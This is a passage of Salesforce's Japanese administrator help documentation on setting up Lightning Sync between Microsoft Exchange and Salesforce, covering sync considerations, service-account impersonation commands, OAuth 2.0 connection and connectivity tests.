削除によって 1 回の操作で両方の行動が削除されるのは、営業担当がカレンダー
から行動を削除した場合に限られます。営業担当が行動を Salesforce から削除し
ても、営業担当のカレンダーでそれに対応する行動は残ります。
営業担当がイベントをデフォルトのカレンダーから補助的なカレンダーに移動
した場合も、対応する行動が Salesforce から自動的に削除されます。

Lightning Sync の考慮事項

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Syncを営業担当にロールアウトする前に、次の考慮事項についてよく理
解してください。

同期中の行動に関する考慮事項
Lightning Sync を営業担当にロールアウトする前に、同期中の行動に関する次
の考慮事項についてよく理解してください。そうすることで、ロールアウト
を順調に進めることができます。
複数の Salesforce 組織を持つ会社についての考慮事項
会社が複数の Salesforce 組織で Lightning Sync を使用している場合は、Lightning

Sync設定がどのように行われているかに注意して組織間でデータが確実に分
離されるようにします。

関連トピック:

Salesforce for Outlook から Lightning for Outlook と Lightning Sync に移行する場合の考慮事項
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同期中の行動に関する考慮事項

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Syncを営業担当にロールアウトする前に、同期中の行動に関する次の考
慮事項についてよく理解してください。そうすることで、ロールアウトを順調
に進めることができます。
Lightning Sync を使用して、Microsoft® Exchange ベースのカレンダーまたは Google カ
レンダーから Salesforce に営業担当の行動を同期できます。あなたは、Salesforce

の [設定] の [Lightning Sync] 設定で機能を設定して、営業担当の行動を同期するか
どうかを決定しました。
この機能を営業担当にロールアウトする方法について考慮しないと、Lightning

Syncによって行動データが上書きされる可能性があることに注意してください。
まず、ロールアウトが次のシナリオのいずれかに該当するかを確認します。
• 営業担当を Salesforce for Outlook から移行する
• 営業担当が Salesforce で行動レコードを編集する
• 営業担当がすでに Lightning for Outlook (旧名称は Salesforce App for Outlook) へのアクセス権を持っている
たとえば、営業担当がSalesforceの行動レコードにミーティングメモを保存しているとします。ただし、営業担
当の Exchange ベースのカレンダー内で一致するイベントには、そのメモが含まれていないとします。その場
合、最初の同期時に、Lightning Sync によって Salesforce の行動が Exchange ベースのカレンダーのイベントで上書
きされます。
行動の同期に関するガイドラインに従うと、営業担当の行動が上書きされることを防止できます。

同期中の行動に関するガイドライン
同期のシナリオで行動データが上書きされないように、Lightning Syncをロールアウトする前に次のガイドラ
インに従います。

同期中の行動に関するガイドライン

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

同期のシナリオで行動データが上書きされないように、Lightning Syncをロールア
ウトする前に次のガイドラインに従います。
「同期中の行動に関する考慮事項」に示された同期シナリオのいずれかに該当
する場合は、Lightning Sync での営業担当の設定時に次のガイドラインに従いま
す。
• Lightning Syncの設定で、行動の同期条件のデフォルト設定である TODAYを変

更しないでください。この設定により、営業担当がSalesforceで過去の行動に
対して行った編集が初回同期から除外されます。

• 行動の同期対象項目 (日付、時刻、件名、説明など) は Salesforceではなく、カ
レンダーで編集するように営業担当に指示します。こうすれば、Salesforce で
これらの編集が Lightning Sync によって上書きされることがありません (ただ
し、営業担当は、行動の Salesforce レコードへの関連付けなど、Salesforce の行
動項目の編集が関連しない Salesforce 機能は引き続き実行できます)。
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複数の Salesforce 組織を持つ会社についての考慮事項

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

会社が複数の Salesforce 組織で Lightning Sync を使用している場合は、Lightning Sync

設定がどのように行われているかに注意して組織間でデータが確実に分離され
るようにします。
次のいずれかの場合は、複数の組織を使用しています。
• 本番組織で機能を設定する前に、Sandbox 組織で新機能をテストする。
• 会社の異なる部門に対して別個の Salesforce 組織を維持する。
Lightning SyncによりSalesforce組織間で取引先責任者と行動が同期されないように
するには、複数の組織で同じユーザを Lightning Sync 設定に追加しないようにし
ます。
Salesforce組織間でのデータの同期を回避するため、Lightning Sync設定を無効とし
てマークすることはお勧めしません。設定を無効としてマークするとユーザデー
タの同期は回避できますが、そのユーザが複数の Lightning Sync 設定に含まれて
いることを忘れて、後で設定を有効としてマークする危険性があります。

例: Lightning Sync機能を Sandbox 組織でテストしており、Marianne Schumacher というユーザを Sandbox 組織の
Lightning Sync 設定に追加します。Marianne の Lightning Sync 機能の設定に問題がないため、そのユーザを本
番組織の Lightning Sync 設定に追加する準備が整いました。
Marianne を本番組織のLightning Sync設定に追加する前に、Sandbox 組織の設定から削除します。この削除を
行わないと、Lightning Syncによって Marianne のメールアプリケーション、Sandbox 組織、および本番組織間
で取引先責任者と行動が同期され、テストデータと本番データがこれら 3 つのデータソースで保存される
ことになります。

Lightning Sync for Microsoft® Exchange

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Microsoft® Exchange サーバと Salesforce の間で、営業担当がソフトウェアのインス
トールおよび保守を行わずに取引先責任者や行動を同期できるようにします。
会社の Microsoft® Exchange サーバと Salesforce の間でユーザの取引先責任者と行動
を同期するように設定すると、ユーザの生産性が高まります。これは、ユーザ
が 2 つのシステムで重複して作業をする必要がなくなるためです。さらに、
Lightning Syncは互換性のあるコンピューティング環境を提供するため、ユーザは
デスクで作業していてもモバイルデバイスから作業していても柔軟に項目を同
期できます。
Salesforceでユーザの同期設定を選択して、ユーザのLightning Sync操作を定義しま
す。取引先責任者を Exchange と Salesforce の間で双方向で同期するか、一方向で
同期するかをユーザに設定できます。行動を Exchange から Salesforce に一方向で
同期するようにユーザを設定できます。
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ユーザの Exchange の行動をSalesforceに同期する方法も指定できます。ユーザのすべての行動を同期するか、選
択した行動のみを同期するかをユーザに設定します。
ユーザは、Lightning for Outlookを使用して、Salesforceに同期する Exchange の行動を選択します。Lightning for Outlook

は、ユーザが Salesforce を Microsoft Outlook から直接操作できる Microsoft のインテグレーション機能です。

追加の設定を選択してユーザの同期操作を定義できます。たとえば、ユーザが非公開とマークした行動を同期
するように Lightning Syncを設定します。または、ユーザがカレンダーから削除した予定を Salesforceで自動的に
削除することを設定できます。

Lightning Sync for Microsoft Exchange の制限事項
現在、Lightning Sync では次の操作を実行できません。
• Salesforce から Exchange への行動の同期
• 定期的な行動の同期

2447

Lightning Sync: 営業担当の取引先責任者と行動の
Microsoft® または Google と Salesforce 間の同期

販売ツールの設定および管理

https://help.salesforce.com/apex/HTViewHelpDoc?id=app_for_outlook_overview.htm&language=ja


• 同期している取引先責任者を 1 回の操作で削除

Lightning Sync for Microsoft Exchange の使用開始

Microsoft® Exchange に関する Lightning Sync のシステム要件
営業担当が取引先責任者と行動を Lightning Syncと同期するように設定する前に、Microsoft® Exchange ベースの
サーバが次のシステム要件を満たしていることを確認します。
Lightning Sync for Microsoft® Exchange の設定の概要の把握
Lightning Syncを設定して、ユーザが会社の Microsoft® Exchange サーバと Salesforce間で取引先責任者および行動
を同期できるようにします。Exchange サーバと Salesforce の両方で、システムが通信するよう準備するいく
つかの手順を実行します。

関連トピック:

Lightning for Outlook: Microsoft® Outlook® から Salesforce を操作するための営業担当の設定
https://resources.docs.salesforce.com/latest/latest/en-us/sfdc/pdf/salesforce_exchange_sync_admin_implementation_guide.pdf

https://resources.docs.salesforce.com/latest/latest/en-us/sfdc/pdf/salesforce_exchange_sync_user.pdf

Microsoft® Exchange に関する Lightning Sync のシステム要件

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業担当が取引先責任者と行動をLightning Syncと同期するように設定する前に、
Microsoft® Exchange ベースのサーバが次のシステム要件を満たしていることを確認
します。

有効化する設定必要なソフトウェア (いず
れか)

Salesforce への接続に使
用するもの

Exchange サービスアカウ
ント

•• SSL 接続での Exchange

Web サービス (EWS)

Exchange Online を含む
Office 365® Enterprise
Edition • Exchange 自動検出サー

ビス• Exchange Server 2016

• Exchange Server 2013
Service Pack 1

• Exchange サーバおよび
自動検出サービスの基
本認証

• 暗号化プロトコル TLS

1.1 以降

OAuth 2.0 を使用した接続
に追加の設定は必要あり
ません。

Exchange Online を含む
Office 365® Enterprise Edition

OAuth 2.0 for Exchange
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Lightning Sync for Microsoft® Exchange の設定の概要の把握

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Exchange サーバが
Salesforce と通信するよう
に準備する
• 会社の Microsoft®

Exchange サーバへの管
理者アクセス権

Lightning Syncを設定して、ユーザが会社の Microsoft® Exchange サーバと Salesforce間
で取引先責任者および行動を同期できるようにします。Exchange サーバとSalesforce

の両方で、システムが通信するよう準備するいくつかの手順を実行します。
Lightning Sync for Microsoft Exchange を設定するには、次の手順を実行します。

1. Microsoft® Exchange に接続するときの優先方法の選択と設定
Microsoft Exchange をSalesforceに接続するときに Exchange サービスアカウントと
OAuth 2.0 のどちらを使用するかを選択し、その接続を設定します。OAuth 2.0

を使用して接続するには Microsoft Office 365 アカウントが必要です。
2. Microsoft® Exchange ユーザ向け Lightning Sync の接続テストの実行

Lightning Sync 接続テストを実行し、自分と IT プロフェッショナルが Lightning

Sync を正しく設定したかどうかを確認します。または、Lightning Sync が営業
担当の項目を正常に同期していたが突然停止した場合にも接続テストを実行
します。

3. Microsoft® Outlook のカレンダーの特定の行動を Salesforce と同期しないようにす
る方法についての営業担当への指示
Outlook カレンダーのどの行動をSalesforceと同期するかを管理する方法につい
て、Lightning Sync ユーザに指示します。同期しない行動を営業担当が準備し
た後に、システム管理者が同期プロセスを開始することをお勧めします。た
だし、営業担当は同期する行動をいつでも管理できます。

4. Lightning Sync を使用した営業担当の同期設定の定義
営業担当がSalesforceと同期させる Exchange 行動を準備したら、Lightning Sync設定で営業担当のグループの同
期設定を定義できます。このステップは、営業担当の同期プロセスの出発点です。

5. Microsoft® の取引先責任者を Salesforce と同期する方法についての営業担当への指示
Lightning Sync for Microsoft Exchange ユーザに、Salesforce と同期する Microsoft の取引先責任者を管理できるよう
になったことを通知します。

関連トピック:

Lightning Sync for Microsoft® Exchange

https://success.salesforce.com/_ui/core/chatter/groups/GroupProfilePage?g=0F9300000009M90CAE
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Microsoft® Exchange に接続するときの優先方法の選択と設定

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Microsoft Exchange を Salesforce に接続するときに Exchange サービスアカウントと
OAuth 2.0 のどちらを使用するかを選択し、その接続を設定します。OAuth 2.0 を使
用して接続するには Microsoft Office 365 アカウントが必要です。

Exchange サービスアカウントを使用した Salesforce と Microsoft® Exchange の接続
サービスアカウントを使用して Salesforce を会社の Microsoft Exchange サーバに
接続するには、システム管理者と Exchange 管理者が Salesforce と Exchange サー
バの両方からいくつかの手順を実行する必要があります。
OAuth 2.0 を使用した Salesforce と Microsoft® Exchange の接続
OAuth 2.0 を使用して Salesforceが Microsoft Exchange Online にアクセスできるよう
にします。設定を完了するには、Microsoft Office 365® アカウントが必要です。
また、Office 365 のグローバル管理者から会社のアカウントのログイン情報の
提供を受ける必要があります。

Exchange サービスアカウントを使用した Salesforce と Microsoft® Exchange の接続

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サービスアカウントを設
定して Lightning Sync と通
信する
• 会社の Exchange サー

バへの管理者アクセス
権

Lightning Sync の設定にア
クセスする
• 「アプリケーションの

カスタマイズ」

サービスアカウントを使用して Salesforceを会社の Microsoft Exchange サーバに接続
するには、システム管理者と Exchange 管理者が Salesforce と Exchange サーバの両
方からいくつかの手順を実行する必要があります。

1. Lightning Sync 用の Microsoft® Exchange サーバの準備
Lightning Sync を設定する最初のステップは、Exchange Web サービス、Exchange

自動検出サービス、基本認証など、いくつかの設定を Exchange サーバで有効
にすることです。

2. Lightning Sync と通信する Microsoft® Exchange サービスアカウントの設定
Exchange サーバの権限設定を有効にした後、各 Lightning Sync ユーザのメール
ボックスに対する偽装権限のある Exchange サービスアカウントを作成しま
す。

3. Lightning Sync パラメータを使用した Microsoft® Remote Connectivity Analyzer の実行
Microsoft から提供されている無料の Web ベースツールである Remote Connectivity

Analyzer を実行して、システム管理者や Exchange 管理者が Lightning Sync for

Microsoft Exchange を正しく設定したかどうかを確認します。または、Lightning

Sync for Microsoft Exchange が営業担当の項目を正常に同期していたが突然停止
した場合にも Remote Connectivity Analyzer を実行します。Lightning Sync のテスト
を実行するには、指定されたパラメータを使用します。

4. サービスアカウントを使用した Microsoft® Exchange と通信するための Salesforce

の設定
Remote Connectivity Analyzer を実行したら、Salesforce にログインし、Microsoft

Exchange の Lightning Sync を有効にしてサービスアカウントのログイン情報を
入力します。
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Lightning Sync用の Microsoft® Exchange サーバの準備
エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync を設定する最初のステップは、Exchange Web サービス、Exchange 自
動検出サービス、基本認証など、いくつかの設定を Exchange サーバで有効にす
ることです。
次の手順は、会社で使用する Microsoft® Exchange のバージョンによって異なりま
す。詳細は、Microsoft のサポート Web サイトにアクセスしてここで示すキーワー
ドを検索し、ご使用の Exchange バージョンの手順に従ってください。
Exchange サーバで、次の手順を実行します。
1. SSL 接続で Exchange Web サービス (EWS) を有効にします。

• Salesforce が承認したいずれかの証明機関の署名証明書が Exchange サーバに
あることを確認します。

• 組織でファイアウォールが設定されている場合は、ポート 443 を経由した
Exchange クライアントアクセスサーバへの受信接続を許可します。

2. Exchange 自動検出サービスを有効にします。
3. Exchange サーバと Autodiscover サービスの両方で基本認証を有効にします。他の認証方法 (Microsoft NTLM など)

を実行する必要がある場合、それらの方法を無効にする必要はありません。競合せずに Lightning Sync を実
行できます。

Lightning Syncと通信する Microsoft® Exchange サービスアカウントの設定
エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サービスアカウントを設
定して Lightning Sync と通
信する
• 会社の Exchange サー

バへの管理者アクセス
権

Exchange サーバの権限設定を有効にした後、各 Lightning Syncユーザのメールボッ
クスに対する偽装権限のある Exchange サービスアカウントを作成します。
Exchange サービスアカウントを設定する前に、Lightning Sync を設定する Exchange

サーバの適切な設定が有効になっていることを確認します。
Exchange サービスアカウントを設定するには、Exchange 管理者と連携して Exchange

サーバで次の手順を実行します。
デモを見る:

• Set Up a Microsoft® Exchange Service Account to Sync with Salesforce (for administrators

using Office 365™ Admin Center) (Salesforce と同期するための Microsoft® Exchange サー
ビスアカウントの設定 (Office 365™ 管理センターを使用するシステム管理者向
け))

• Set Up a Microsoft® Exchange Service Account to Sync with Salesforce (for administrators

using command shell) (Salesforceと同期するための Microsoft® Exchange サービスアカ
ウントの設定 (コマンドシェルを使用するシステム管理者向け))

メモ: さらなるサポートが必要な場合は、Microsoft® のサポート Web サイト
にアクセスして、ここに記載されているキーワードを検索し、使用してい
る Exchange バージョン向けの説明に従ってください。

1. サービスアカウントとしての役割を果たすメールボックス付きの Exchange

ユーザを作成します。後でこのメールアドレスを使用して、サービスアカウ
ントに Exchange の偽装を設定します。
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2. Exchange 管理シェルに、Exchange の使用しているバージョンに対するサービスアカウントの偽装を有効にす
るコマンドを入力します。パイプラインエラーメッセージを受信した場合は、サーバが要求を処理するま
で数分間待機してから、コマンドを再入力します。
• Exchange 2013 を使用している場合は、次の手順を実行します。
a. すべてのクライアントアクセスサーバで、ms-Exch-EPI-Impersonation の Active Directory 拡張権限を

有効にします。
Get-ExchangeServer | where {$_IsClientAccessServer -eq $TRUE} | ForEach-Object
{Add-ADPermission -Identity $_.distinguishedname -User (Get-User -Identity
<EnterExchangeSyncServiceAccountEmailAddress> | select-object).identity
-extendedRight ms-Exch-EPI-Impersonation}

b. ms-Exch-EPI-May-Impersonate の Active Directory 拡張権限を有効にして、サービスアカウントが
Exchange サーバのすべてのアカウントを偽装できるようにします。後で検索条件を設定して、サービス
アカウントが Salesforce と同期するユーザを制限できます。
Get-MailboxDatabase | ForEach-Object {Add-ADPermission -Identity $_.distinguishedname
-User <EnterExchangeSyncServiceAccountAddress> -ExtendedRights
ms-Exch-EPI-May-Impersonate}

• Microsoft Office 365™ が提供する Exchange Online を使用している場合は、次の手順を実行します。
a. Exchange サーバのカスタマイズを有効にします。

Enable-OrganizationCustomization

3. Exchange 管理シェルに次のコマンドを入力して、Lightning Sync と同期させるユーザのグループを偽装する
サービスアカウントを設定します。
a. 管理範囲を作成して、Lightning Syncと同期する Exchange ユーザをグループ化する検索条件を定義します。

たとえば、営業担当のみを同期するために、営業担当全員の Exchange メールボックスの絞り込み可能プ
ロパティ 部署 に 営業 という同じ値を設定する場合は、<ChooseRecipientFilter> の代わりに
Department -eq 'Sales' と入力します。
New-ManagementScope -Name:<ChooseExchangeSyncScopeName>
-RecipientRestrictionFilter:{<ChooseRecipientFilter>}

b. サービスアカウントの偽装を、管理範囲で定義されたユーザに限定する管理ロールの割り当てを作成し
ます。
New-ManagementRoleAssignment -Name:<ChooseExchangeSyncRoleAssignmentName>
-Role:ApplicationImpersonation -User:<EnterExchangeSyncServiceAccountAddress>
-CustomRecipientWriteScope:<EnterExchangeSyncScopeName>
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Lightning Syncパラメータを使用した Microsoft® Remote Connectivity Analyzer の実行
エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

テストの実行に必要なパ
ラメータを取得する
• 会社の Microsoft®

Exchange サーバへの管
理者アクセス権

Microsoft から提供されている無料の Web ベースツールである Remote Connectivity

Analyzer を実行して、システム管理者や Exchange 管理者が Lightning Sync for Microsoft

Exchange を正しく設定したかどうかを確認します。または、Lightning Sync for Microsoft

Exchange が営業担当の項目を正常に同期していたが突然停止した場合にも Remote

Connectivity Analyzer を実行します。Lightning Syncのテストを実行するには、指定さ
れたパラメータを使用します。
Remote Connectivity Analyzer を実行する前に、希望する接続方法を選択しており、
Exchange と Salesforce が通信できることを確認します。これらの操作を完了後、
Exchange サーバが変更を処理するまで数分間待機します。待機しない場合、正し
い設定を行っても Remote Connectivity Analyzer のテスト概要に失敗と表示されるこ
とがあります。
Remote Connectivity Analyzer では、Salesforce 組織と Exchange サーバの間のいくつか
の接続ポイントが確認されます。テストが完了すると、接続状況の概要が表示
されます。

メモ: Microsoft リモート接続テストおよび Lightning Sync 接続テストでは、
メールサーバと Salesforce 組織との間の全般的な接続が確認されます。1 人
または数人の営業担当の接続のみをテストする場合は、[設定] の
[Lightning Sync の状況] から同期状況を確認します。

1. Microsoft の Web サイトにアクセスして、Remote Connectivity Analyzer を検索しま
す。

2. [Exchange サーバ] タブで [サービスアカウントのアクセス権 (開発者)] を選択してください。
3. [次へ] をクリックします。
4. テスト項目に入力します。

入力するパラメータテスト項目

Lightning Sync サービスアカウントの偽装用に設定し
た営業担当のメールアドレス

対象メールボックスのメールアドレス

Lightning Sync に設定したサービスアカウントのドメ
イン\ユーザ名または UPN

サービスアカウントのユーザ名 (ドメイン\ユーザ名
または UPN)

Lightning Sync に設定したサービスアカウントのパス
ワード

サービスアカウントのパスワード

5. [サーバ設定を検出するために Autodiscover を使用] を選択します。
6. [定義済みのフォルダをテスト] を選択します。
7. このユーザの取引先責任者の同期接続をテストする場合は [取引先責任者]、このユーザの行動の同期接続

をテストする場合は [カレンダー] を選択します。
8. [Exchange Impersonation を使用] をオンにします。
9. [擬似ユーザ] 項目で、[対象メールボックスのメールアドレス] に指定したものと同じ Exchange のメールア

ドレスを入力します。
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10. [擬似ユーザの ID] で [SMTP アドレス] を選択します。
11. [有効なアカウントのログイン情報を使用する必要があることを理解し同意します...]の承認のチェックボッ

クスをオンにします。
12. アナライザーの確認コードを入力して、[確認] をクリックします。
13. ページの上部で、[テストを実行] をクリックします。

テストの所要時間は通常 30 秒未満です。テストが完了するとアナライザーに、指定した Exchange ユーザの
同期接続の評価の概要が表示されます。

14. テスト結果に基づいて対応策を実施します。
• テストの概要に「Connectivity Test Successful (接続テストに成功しました)」または「Connectivity Test Successful

with Warnings (接続テストは成功しましたが警告が発生しました)」が表示された場合は、サービスアカウ
ントが正しく設定されている可能性が高く、Salesforceにサービスアカウントのログイン情報を入力でき
る状態です。

• テストの概要に「Connectivity Test Failed (接続テストに失敗しました)」が表示された場合は、テストの詳
細を確認して、設定の問題をトラブルシューティングします。テストの失敗が続く場合は、前の設定手
順が正しく完了していることを確認してから、Salesforceカスタマーサポートにお問い合わせください。

関連トピック:

Lightning Sync ユーザの同期状況の確認
Microsoft® Exchange ユーザ向け Lightning Sync の接続テストの実行

サービスアカウントを使用したMicrosoft® Exchange と通信するための Salesforceの設定
エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce で Lightning Sync
設定にアクセスする
• 「設定・定義を参照す

る」

Remote Connectivity Analyzer を実行したら、Salesforceにログインし、Microsoft Exchange

のLightning Syncを有効にしてサービスアカウントのログイン情報を入力します。
1. Salesforce の [設定] から、[クイック検索] ボックスに「Lightning Sync の

設定」と入力し、[Lightning Sync の設定] を選択します。
2. [Lightning Sync の有効化] で、[編集] をクリックします。
3. [Lightning Sync の有効化] をオンにして、[保存] をクリックします。
4. Exchange で作成したサービスアカウントのユーザ名 (会社のドメインおよび最

上位レベルドメインを含む) を入力します。たとえば、AW Computing に勤務し
ていて、作成したサービスアカウントのメールボックスが
svcacct@awcomputing.com である場合、ユーザ名を次のいずれかの形式
で入力します。
• svcacct@awcomputing.com

• awcomputing.com\svcacct

ネットワーク設定によっては、どちらか一方の形式が要求される場合があります。最初にどちらかの形式
で Salesforce と Exchange を通信し、失敗した場合はもう一方の形式を試してください。

5. サービスアカウントのパスワードを入力します。
6. 営業担当のメールドメインが自分のサービスアカウントドメインと異なる場合、追加のドメインをカンマ

区切りのリストで入力します。たとえば、自分のサービスアカウントが svcacct@awcomputing.com で
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営業担当のメールアドレスがドメイン awcomputing.net にある場合、追加のドメインとして
awcomputing.net と入力し、Lightning Sync が認識できるようにします。

7. [保存] をクリックします。

OAuth 2.0 を使用した Salesforce と Microsoft® Exchange の接続

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Sync の設定にア
クセスする
• 「アプリケーションの

カスタマイズ」

Exchange Online が
Salesforce と通信するよう
に準備する
• 会社の Office 365 アカ

ウントへのグローバル
管理者アクセス権

OAuth 2.0 を使用して Salesforce が Microsoft Exchange Online にアクセスできるように
します。設定を完了するには、Microsoft Office 365®アカウントが必要です。また、
Office 365 のグローバル管理者から会社のアカウントのログイン情報の提供を受
ける必要があります。
1. [設定] から、[クイック検索]ボックスに「Lightning Sync の設定」と入力

し、[Lightning Sync の設定] を選択します。
2. Lightning Sync を有効にします。
3. 優先する接続方法として [Microsoft Exchange の OAuth 2.0] を選択します。
4. [サーバへのアクセスの許可と有効化] で、Office 365 グローバル管理者が Office

365 アカウントにログインします。
5. Microsoft Azure™ のログインページが開いたら、プロンプトに従ってアカウン

トへの Lightning Sync のアクセスを許可してから Salesforce に戻ります。
6. Salesforce から、[サーバへのアクセスの許可と有効化] で OAuth 2.0 を有効にし

ます。
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Microsoft® Exchange ユーザ向け Lightning Sync の接続テストの実行

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続テストを実行する
• 「アプリケーションの

カスタマイズ」

Lightning Sync 接続テストを実行し、自分と IT プロフェッショナルが Lightning Sync

を正しく設定したかどうかを確認します。または、Lightning Syncが営業担当の項
目を正常に同期していたが突然停止した場合にも接続テストを実行します。
必要なステップを実行して、Microsoft Exchange サーバと Salesforceが同期する準備
をしたら、Lightning Sync 接続テストを実行してください。
Lightning Sync接続テストでは、Salesforceとメールサーバ間のいくつかの接続ポイ
ントが確認されます。テストが完了すると、接続状況の概要が表示されます。
接続をテストする場合、Microsoft® Exchange 向け Lightning Sync のユーザは Lightning

Sync 接続テストと Microsoft Remote Connectivity Analyzer の両方を実行する必要があ
ります。これらのテストは若干異なるため、両方を実行することで接続状況に
ついてより多くの情報を得られます。Lightning Sync for Google ユーザは Lightning

Sync 接続テストを実行するだけで済みます。
Microsoft リモート接続テストおよび Lightning Sync接続テストでは、メールサーバ
とSalesforce組織との間の全般的な接続が確認されます。1 人または数人の営業担
当の接続のみをテストする場合は、[設定] の [Lightning Sync の状況] から
同期状況を確認します。
1. [設定] から、[クイック検索]ボックスに「Lightning Sync の設定」と入力

し、[Lightning Sync の設定] を選択します。
2. [接続テスト]セクションで、メールサーバで同期するように設定した営業担当のいずれかのメールアドレ

スを入力します。
3. [テスト] をクリックします。

Lightning Sync は、Salesforce とメールサーバの間で接続を確認し、接続状況を要約します。

関連トピック:

Lightning Sync ユーザの同期状況の確認
Lightning Sync パラメータを使用した Microsoft® Remote Connectivity Analyzer の実行
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Microsoft® Outlook のカレンダーの特定の行動を Salesforce と同期しないようにする方法についての
営業担当への指示

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Outlook カレンダーのどの行動をSalesforceと同期するかを管理する方法について、
Lightning Syncユーザに指示します。同期しない行動を営業担当が準備した後に、
システム管理者が同期プロセスを開始することをお勧めします。ただし、営業
担当は同期する行動をいつでも管理できます。
営業担当はカレンダーの一部の行動 (個人的な行動など) が Salesforce と同期する
ことを防ぐことができます。
設定プロセスの後半で、Lightning Sync設定で営業担当の同期設定を定義する必要
があります。行動の同期設定を定義した場合、行動を今すぐに管理するよう営
業担当に指示しない限り、営業担当のデフォルトカレンダーのすべての行動が
Salesforce と同期します。
営業担当は、個人的な行動がカレンダーから Salesforce に同期することを次の方
法で防ぐことができます。
• カレンダーアプリケーションで個別のカレンダーを作成し、個人的な行動を追跡する (Lightning Sync は、営

業担当のデフォルトカレンダーのみを Salesforce と同期するように設計されています)。
• Lightning Sync設定で同期設定を定義するときに、営業担当の非公開の行動を同期するかどうかを選択する。

非公開の行動を同期しないように選択した場合、営業担当はカレンダーアプリケーションで行動に非公開
オプションを割り当てることで、その行動が同期することを防ぐことができます。

同期が開始される前にユーザが個人的な行動を管理していない場合でも、ユーザは個人的な行動を手動で削除
することで、それらの行動を Salesforce から削除できます。
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Lightning Sync を使用した営業担当の同期設定の定義

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce で Lightning Sync
設定にアクセスする
• 「設定・定義を参照す

る」

Lightning Sync 設定を作
成、編集、または削除す
る
• 「Exchange 設定を管

理」権限

および

「ユーザの管理」

営業担当が Salesforceと同期させる Exchange 行動を準備したら、Lightning Sync設定
で営業担当のグループの同期設定を定義できます。このステップは、営業担当
の同期プロセスの出発点です。
開始する前に、Salesforce 組織間でのデータの同期を防止する方法を理解してお
く必要があります。Salesforce 組織間でデータが同期する可能性があるのは、営
業担当にロールアウトする前に Lightning Sync をテストする場合や、会社が複数
の Salesforce 組織を使用する場合です。
同期設定を定義することで、どのユーザが取引先責任者および行動を同期でき
るかを制御できます。また、ユーザが同期する方向を制御したり、同期時に一
定のレコードを制限する検索条件を作成したりすることができます。
1. Salesforceの [設定] から、[クイック検索]ボックスに「Sync 設定」と入力し、

[Sync 設定] を選択します。
2. [新規 Lightning Sync 設定] をクリックします。

3. 設定の名前を入力します。たとえば、特定の地域のユーザの設定を作成して
いる場合は、その一意の名前を入力して、[有効] を選択します。

4. ユーザおよびプロファイルをこの設定に割り当てます。
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5. ユーザの取引先責任者の同期方向を指定します。

6. Salesforceと Exchange 間で取引先責任者の項目の対応付けを変更するには、[項目の対応付けの編集]をクリッ
クします。

7. ユーザの行動を Exchange から Salesforce へ同期するかどうかを示します。

8. Salesforce にすべての Exchange 行動を同期するか、ユーザが選択した行動のみを同期するかを示します。行
動をユーザが選択するように設定した場合、Lightning for OutlookからSalesforceにユーザが関連付けた行動が、
2 つのシステム間で同期されます。このオプションの設定を完了するには、システム管理者は Lightning for

Outlook を有効にする必要があり、ユーザは Lightning for Outlook 設定を完了する必要があります。
9. Salesforce と Exchange 間で行動の項目の対応付けを変更するには、[項目の対応付けの編集] をクリックしま

す。
10. [保存] をクリックします。
11. 検索条件を設定して、Salesforce から Exchange にユーザが同期できる取引先責任者を指定します。検索条件

は、ユーザのレコード所有権に基づいて設定する必要があります。次の点について選択します。
• ユーザが同期する取引先責任者をユーザが所有する取引先責任者に制限する場合は、[選択された取引

先責任者] を選択してから [ユーザのレコード] を選択します。必ずこれらの設定の両方を同時に選択し
ます。両方選択していないと、この設定のユーザの取引先責任者が同期されません。
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• ユーザが Salesforce で表示可能なすべての取引先責任者を同期できるようにする場合は、[すべての取引
先責任者] を選択します。

